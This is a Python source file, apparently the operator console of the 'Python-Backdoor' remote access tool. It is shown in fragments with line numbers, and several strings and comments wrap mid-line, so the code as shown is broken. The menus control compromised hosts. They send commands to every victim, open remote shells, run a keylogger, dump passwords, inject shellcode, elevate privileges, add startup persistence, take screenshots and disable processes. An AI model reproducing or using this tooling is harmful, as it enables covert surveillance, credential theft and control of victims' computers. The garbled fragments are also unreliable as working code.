```python
"""
https://github.com/xp4xbox/Python-Backdoor

@author    xp4xbox

license: https://github.com/xp4xbox/Python-Backdoor/blob/master/license
"""

import socket

from src.definitions.commands import *
from src.definitions import platforms


def menu_help(_list, _platform=platforms.UNKNOWN):
    out = ""

    for i in range(0, len(_list)):

        if "platform" in _list[i] and _list[i]["platform"] == "windows" and _platform != platforms.WINDOWS:
            continue

        out += f"{_list[i]['arg']} {_list[i]['info']}"

        if "arg2" in _list[i]:
            out += f" <{_list[i]['arg2']}>"

        if "optional_arg2" in _list[i]:
            out += f" [{_list[i]['optional_arg2']}]"

        if "optional_arg3" in _list[i]:
            out += f" [{_list[i]['optional_arg3']}]"

        if "note" in _list[i]:
            out += f" {_list[i]['note']}"

        if i != len(_list) - 1:
            out += "\n"

    print(f"\n{out}")


def _input(prompt):
    choice = input(prompt).rstrip()

    if choice == "":
        return choice

    choice = choice.split(" ")

    choice[0] = choice[0].upper()

    if len(choice) > 1:
        choice[1] = choice[1].lower()

    return choice
```

```
72  class View:
73      def __init__(self, control):
74          self.control = control
75          self.main_menu()
76
77      def check_input(self, _input, _list, _platform=platforms.UNKNOWN):
78          for arg in _list:
79              if _input[0] == arg["arg"]:
80                  if "arg2" in arg and len(_input) < 2:
81                      self.control.logger.error(f"Missing argument: {arg['arg2']}")
82                      return False
83                  elif "platform" in arg and arg["platform"] == "windows" and _platform
                    != platforms.WINDOWS:
84                      self.control.logger.error(f"Command '{_input[0]}' is only
                        supported with windows clients")
85                      return False
86
87                  return True
88          self.control.logger.error(f"Command '{_input[0]}' not found, type {MENU_HELP}
            for Help")
89          return False
90
91      def main_menu(self):
92          while True:
93              try:
94                  choice = _input(">> ")
95
96                  self.control.server.refresh()
97
98                  if choice == "":
99                      continue
100
101                 if self.check_input(choice, SERVER_MAIN_COMMAND_LIST):
102                     if choice[0] == MENU_HELP:
103                         menu_help(SERVER_MAIN_COMMAND_LIST)
104
105                     elif choice[0] == MENU_LIST_CONNECTIONS:
106                         if len(choice) > 1:
107                             if choice[1] == MENU_LIST_CONNECTIONS_INACTIVE:
108                                 print(self.control.server.list(True))
109                             else:
110                                 self.control.logger.error("Invalid argument")
111                         else:
112                             print(self.control.server.list())
113
114                     elif choice[0] == MENU_SEND_ALL_CMD:
115                         self.control.server.send_all_connections(CLIENT_RUN_CMD,
                            choice[1], recvall=True)
116                     elif choice[0] == MENU_INTERACT:
117                         if self.control.interact(choice[1]):
118                             self.interact_menu()
119                     elif choice[0] == MENU_CLOSE_CONNECTION:
120                         self.control.server.close_one(index=choice[1])
121                     elif choice[0] == MENU_CLOSE_ALL:
122                         self.control.server.close_clients()
123                     elif choice[0] == MENU_OPEN_SHELL:
124                         self.control.command_shell(choice[1])
125                     print()
126             except ConnectionAbortedError as e:
127                 self.control.logger.error(str(e))
128
129
130
131
132
133
134
135
136
137
138
139
```

```
140         def interact_menu(self):
141             _platform = platforms.UNIX if self.control.server.get_address(self.control.es.
                socket)['is_unix'] else platforms.WINDOWS
142 
143             try:
144                 while True:
145                     choice = _input("interact>> ")
146 
147                     self.control.server.refresh()
148 
149                     if choice == "":
150                         continue
151 
152                     if self.check_input(choice, SERVER_INTERACT_COMMAND_LIST, _platform):
153                         if choice[0] == MENU_HELP:
154                             menu_help(SERVER_INTERACT_COMMAND_LIST, _platform)
155                         elif choice[0] == MENU_INTERACT_UPLOAD:
156                             self.control.upload_file()
157 
158                         elif choice[0] == MENU_INTERACT_DWNL:
159                             if choice[1] == MENU_INTERACT_DWNL_DIR:
160                                 self.control.download_dir()
161                             elif choice[1] == MENU_INTERACT_DWNL_FILE:
162                                 self.control.download_file()
163                             else:
164                                 self.control.logger.error("Invalid argument")
165 
166                         elif choice[0] == MENU_INTERACT_SCRN:
167                             self.control.screenshot()
168 
169                         elif choice[0] == MENU_INTERACT_STARTUP:
170                             if choice[1] == MENU_INTERACT_STARTUP_ADD:
171                                 self.control.startup()
172                             elif choice[1] == MENU_INTERACT_STARTUP_RMV:
173                                 self.control.startup(True)
174                             else:
175                                 self.control.logger.error("Invalid argument")
176 
177                         elif choice[0] == MENU_INTERACT_INFO:
178                             self.control.info()
179                         elif choice[0] == MENU_INTERACT_SHELL:
180                             self.control.command_shell()
181                         elif choice[0] == MENU_INTERACT_PYTHON:
182                             self.control.python_interpreter()
183 
184                         elif choice[0] == MENU_INTERACT_KEYLOG:
185                             if choice[1] == MENU_INTERACT_KEYLOG_START:
186                                 self.control.keylogger_start()
187                             elif choice[1] == MENU_INTERACT_KEYLOG_STOP:
188                                 self.control.keylogger_stop()
189                             elif choice[1] == MENU_INTERACT_KEYLOG_DUMP:
190                                 self.control.keylogger_dump()
191                             else:
192                                 self.control.logger.error("Invalid argument")
193 
194 
195 
196 
197 
198 
199 
200 
201 
202 
203 
204 
205 
206 
207 
208 
209 
210 
```

```
                    elif choice[0] == MENU_INTERACT_DISABLE_PROCESS:
                        self.control.toggle_disable_process(choice[1], True if len(
                        choice) > 2 and choice[
                            2] == MENU_INTERACT_DISABLE_PROCESS_POPUP else False)
                    elif choice[0] == MENU_INTERACT_LOCK:
                        self.control.lock()
                    elif choice[0] == MENU_INTERACT_BACKGROUND:
                        self.control.es = None
                        break
                    elif choice[0] == MENU_INTERACT_CLOSE:
                        self.control.close()
                        break
                    elif choice[0] == MENU_INTERACT_SHELLCODE:
                        self.control.shellcode()
                    elif choice[0] == MENU_INTERACT_ELEVATE:
                        self.control.elevate()
                    elif choice[0] == MENU_INTERACT_PWD:
                        self.control.password_dump(choice[1] if len(choice) > 1 else
                        None)

                    elif choice[0] == MENU_INTERACT_VULN:
                        # exploit-only is windows only, since linux only shows
                        exploits
                        if len(choice) > 1 and _platform == platforms.WINDOWS:
                            if choice[1] == MENU_INTERACT_VULN_EXP_ONLY:
                                self.control.get_vuln(True)
                            else:
                                self.control.logger.error("Invalid argument")
                        else:
                            self.control.get_vuln(False)

                    print()
            except socket.error:  # if there is a socket error
                self.control.logger.error(f"Connection was lost")
            except Exception as e:
                self.control.logger.error(f"Error occurred: {e}")

```